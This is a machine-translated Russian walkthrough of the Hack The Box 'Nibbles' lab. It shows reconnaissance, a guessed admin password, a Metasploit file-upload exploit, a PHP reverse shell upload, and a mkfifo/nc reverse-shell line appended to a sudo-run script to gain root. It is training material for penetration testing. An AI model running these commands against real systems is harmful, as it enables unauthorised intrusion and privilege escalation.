
Содержание статьи
Hack The Box (HTB) – это онлайн-платформа, которая позволяет вам проверить свои навыки тестирования на проникновение.
Он содержит несколько постоянно обновляемых задач. Некоторые из них моделируют реальные сценарии, а некоторые больше склоняются к стилю CTF.
Примечание: Разрешается записывать только выписанные машины HTB.

Nibbles – это простая машина, которая сосредоточена на угадывании паролей и перечислении веб-приложений.
В этом уроке мы будем использовать такие инструменты, чтобы заложить ящик:
- nmap
- gobuster
- metasploit
- Обратная оболочка PHP
- netcat
Давайте начнем!
Шаг 1 – Сделайте кое-что Разведка
Первым шагом перед использованием машины является небольшое сканирование и разведка.
Это одна из важнейших частей, поскольку она определит, что вы можете попытаться использовать его потом. Всегда лучше уделять этому этапу больше времени, чтобы получить как можно больше информации.
Сканирование портов с Nmap
буду использовать Nmap (Маппер сети). Nmap — бесплатное приложение с открытым кодом для обнаружения сети и аудита безопасности.
Он использует необработанные IP-пакеты, чтобы определить, какие хосты доступны в сети, какие услуги эти хосты предлагают, какие операционные системы работают, какие типы фильтров пакетов/брандмауэров используются, а также десятки других характеристик.
Существует множество команд, которые можно использовать с этим инструментом для сканирования сети. Если вы хотите узнать больше об этом, вы можете просмотреть документацию здесь.

Я использую такую команду, чтобы выполнить интенсивное сканирование:
nmap -A -v 10.129.151.27

-А: Включает обнаружение ОС, определение версии, сканирование сценариев и трассировку
-v: Повышает уровень многословия
10.129.151.27: IP для коробки Nibbles
Если вы считаете результаты слишком потрясающими, вы можете попробовать:
nmap 10.129.151.27

Мы видим, что есть 2 открытых порта:
порт 22. Защищенная оболочка (SSH), безопасные логины, передача файлов (scp, sftp) и переадресация портов
порт 80. Протокол передачи гипертекста (HTTP). Вот это сервер Apache (httpd 2.4.18).
Шаг 2 – Посетите Вeb Пвозраст
С фазы разведки я решаю начать с порта 80. И я получаю страницу с простым сообщением Hello World в верхней части.

Я смотрю на исходный код и вижу, что там есть прокомментированная строка:
<!-- /nibbleblog/ directory. Nothing interesting here! -->

Я перехожу в эту папку и попадаю на то, что выглядит как страница блога под названием «Nibbles Yum Yum».

Я вижу, что блог работает на основе Nibbleblog. Я смотрю, что это.
Nibbleblog описывается как простая, быстрая и бесплатная система блогов PHP. Вы можете найти больше информации здесь.

Имея эту новую информацию, я решаю бежать Gobuster. Gobuster – это сканер каталогов, написанный на Go. Вы можете найти больше информации об инструменте здесь.
Gobuster использует списки слов на коробке HTB Parrot, которые расположены в /usr/share/wfuzz/список слов/ каталог. Я использую «common.txt» список слов, но вы можете скачать больше списков слов из SecLists здесь.

Я использую эту команду для списка слов dirb common.txt:
gobuster dir -u 10.129.151.27 -w /usr/share/wfuzz/wordlist/general/common.txt -x php,txt
Я также сосредотачиваюсь на файлах .php и .txt с файлами -x флажок (расширение).
Есть несколько отличных находок, в том числе /админ/ папку. Я начну с проверки /content/ папку.

Затем /install.php файл. Я нажимаю на обновление:

Я приземляюсь на /update.php страницу, которую я обнаружил на Gobuster. Есть пара ссылок:

Я перехожу к первому, /config.xml страница:
10.129.151.27/nibbleblog/content/private/config.xml

Я сканирую файл xml и записываю электронную почту, которую я там нахожу:
admin@nibbles.com
которые могут быть ценной информацией для пользователя.
Я продолжаю просматривать другие страницы, найденные с помощью Gobuster. Я перехожу к /admin/ папка:

И к /admin.php страница. Наконец-то я нашел страницу входа!

Я пытаюсь ввести фиктивные аккаунты, чтобы увидеть поведение страницы. Параметры формы:
username=test&password=test

Я перешел к последней странице, которую я нашел на Gobuster, the /users.xml страница. Я вижу, что есть имя пользователя, админно также, что, похоже, существует механизм черного списка. Я предполагаю, что да с тегами
Похоже, мы не сможем перебрать страницу входа. Нам нужно будет угадать комбинацию имени пользователя: пароль.

Шаг 3а – Эксплуатировать блог Nibble Вуязвимость из Metasploit
С этапа разведки на ст. /update.phpбыла некоторая информация о версии Nibbleblog.
Nibbleblog 4.0.3 "Coffee"
Я ищу эту версию, чтобы проверить, есть ли известная уязвимость в этой конкретной версии. Я нахожу один на Эксплойт базы данных.

Кажется, для этой уязвимости есть доступный эксплойт Metasploit.
Тогда я использую Metasploit, являющийся фреймворком для тестирования на проникновение, что делает злом простым. Это важный инструмент для многих нападающих и защитников.

Я запускаю Metasploit Framework и найдите команду, которую я должен использовать для эксплойта.
Не забудьте обновить Metasploit, когда вы запускаете его с помощью этой команды:
msfupdate
Я ищу эксплойт с помощью этой команды:
search nibbleblog

Это тот самый, что я нашел в базе данных Exploit. Я получаю больше информации с помощью:
info 0

Это также дает мне представление о параметрах, необходимых для эксплойта. Мы можем увидеть все необходимые, включая действительную комбинацию имя пользователя:

Информационный раздел содержит несколько ссылок, чтобы узнать больше об уязвимости. Первая ссылка перенаправляется на Национальная база данных уязвимостей.

Вторая ссылка – это блог исследования безопасности, посвященный использованию уязвимости вручную. Я буду использовать этот метод на следующем шаге.

Теперь, когда у нас есть немного больше контекста, давайте используем эксплойт из:
use 0
Теперь вы должны увидеть терминал msf6, установленный на:
exploit(multi/http/nibbleblog_file_upload)

Теперь я установлю разные параметры с помощью этих команд:
set USERNAME admin
set PASSWORD nibbles
Я устанавливаю комбинацию имени пользователя: пароль на admin: nibbles. Я нашел имя пользователя admin на /users.xml страницу, и я попробовал счастье для пароля с помощью электронной почты, которую я нашел на /config.xml страница (admin@nibbles.com)
set RHOSTS 10.129.151.27
set LHOST 10.10.14.110
Я установил целевой URI для страницы блога:
set TARGETURI /nibbleblog/
Я запускаю проверить команда – как я увидел, она была доступна, когда я проверил информацию об эксплойте. Кажется, цель уязвима. Это также подтверждает, что параметры были установлены правильно.

Я проверяю параметры перед запуском эксплойта:

Я запускаю эксплойт с помощью:
run
и получить a Измеритель сессия назад.
Вот определение Meterpreter от Offensive Security:
Meterpreter — это усовершенствованная, динамично расширяемая полезная нагрузка, которая использует в памяти DLL-инъекция является этапами и расширяется по сети при выполнении. Он связывается через разъемный сокет и предоставляет всеохватывающий API Ruby на стороне клиента. Он содержит историю команд, завершение вкладок, каналы и т.д.
Вы можете прочитать больше о Meterpreter здесь.

Шаг 3б – Эксплуатировать блог Nibble Вуязвимость споза Metasploit
Вернуться к /admin.php страница. Я должен угадать пароль. Просматривая свои заметки, я нашел имя пользователя admin на /users.xml страницу, и я попробовал счастье для пароля с помощью электронной почты, которую я нашел на /config.xml страница (admin@nibbles.com).
Я установил комбинацию имени пользователя: пароль на admin: nibbles.

И это работает!
Я вижу панель инструментов NibbleBlog. Мы видим на панели сообщений с правой стороны, что моя неудачная попытка входа был восхищен.

Я перехожу к плагины вкладка и в Мой образ:

Мы можем скачать a Обратная оболочка PHP как файл изображения:

Pentestmonkey имеет список обратных оболочек, и я буду использовать PHP. Код доступен в хранилище GitHub.

Нажмите на php-reverse-shell.php файл:

Вот фрагмент кода, который нам нужно будет скачать на информационную панель Nibbleblog:

Мне нужно изменить этот раздел с помощью моего IP-адреса HTB.

Вернувшись в свой терминал, я создаю новый файл под названием image.php из:
nano image.php

Я изменяю файл для переменной $IP с моим IP-адресом HTB:
$IP = '10.10.14.110';
Я оставляю порт к 1234:

Обратно к панели инструментов Nibbleblog. Загружаю вновь image.php файл с обратным кодом оболочки. Игнорируйте предупреждение.

Я установил a Ncat слушатель на порту 1234 чтобы поймать обратное соединение оболочки.
Ncat – это многофункциональная сетевая утилита, которая считывает и записывает данные между сетями из командной строки. Ncat был написан для проекта Nmap как значительно улучшенная перереализация почтенного Netcat. Он использует как TCP, так и UDP для связи и разработан как надежный серверный инструмент для мгновенного обеспечения сетевого подключения к другим приложениям и пользователям.
Вы можете узнать больше о Ncat здесь.
nc -nlvp 1234
И я перехожу на страницу, чтобы запустить эксплойт:
10.129.151.27/nibbleblog/content/private/plugins/my_images/image.php
Тогда я верну сеанс!

Шаг 4. Найдите флаг user.txt
Я проверяю, где я нахожусь на машине:

И начните навигацию к домой папку.

И я нахожу пользовательский флаг! Я могу проверить содержимое файла с помощью:
cat user.txt
Шаг 5 — Посмотрите для root.txt Фотставание
Я возвращаюсь к / папку. Я не могу получить доступ к корень папку.

Я ввожу такую команду, чтобы получить стандартную оболочку в целевой системе:
shell
Я создаю оболочку TTY из:
python3 -c "import pty; pty.spawn('/bin/bash/');"
Я должен использовать python3:

Мне нужно перейти на пользователя root, чтобы получить доступ к этой папке. Я использую команду:
sudo -l
чтобы понять, какую команду я могу запустить на локальном хосте.

Я считаю, что пользователь Ниблер может выполнить /home/nibbler/personal/stuff/monitor.sh команду как «root» без пароля.
Давайте найдем этот файл! Я возвращаюсь к /home/nibbler/ и найдите zip-файл под названием personal.zip. Я распаковываю содержимое с помощью этой команды:
unzip personal.zip
я вижу /personal/stuff/monitor.sh файл, который мы ищем:

Я проверяю содержимое файла с помощью:
cat monitor.sh

Я решаю добавить обратную оболочку в конец этого файла с помощью:
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14,110 1234 > /tmp/f" >> monitor.sh

Я просматриваю файл, чтобы проверить, правильно ли он добавлен в конец файла:

Я установил a Ncat слушатель на порту 1234 чтобы поймать обратное соединение оболочки на моем терминале:

Затем я запускаю команду на терминале Nibbler с помощью:
sudo /home/nibbler/personal/stuff/monitor.sh

Теперь я root! Я могу перейти к корень папку. Я нахожу файл root.txt и проверяю его содержимое с помощью:
cat root.txt

Поздравляю! Вы нашли оба флага.
- Используйте сложные пароли и не используйте стандартные/общие пароли – admin:nibbles слишком прост
- Исправление до последней версии – в этом случае исправление до последней доступной версии Nibbeblog
- Применяйте принцип наименьших привилегий ко всем вашим системам и службам
Пожалуйста, не стесняйтесь задавать вопросы или поделитесь с друзьями 🙂
Вы можете просмотреть больше статей из серии Сохраняйте спокойствие и сломайте коробку здесь.
Вы можете подписаться на меня в Twitter или LinkedIn.
И не забудьте #GetSecure#BeSecure & #Оставайтесь в безопасности!
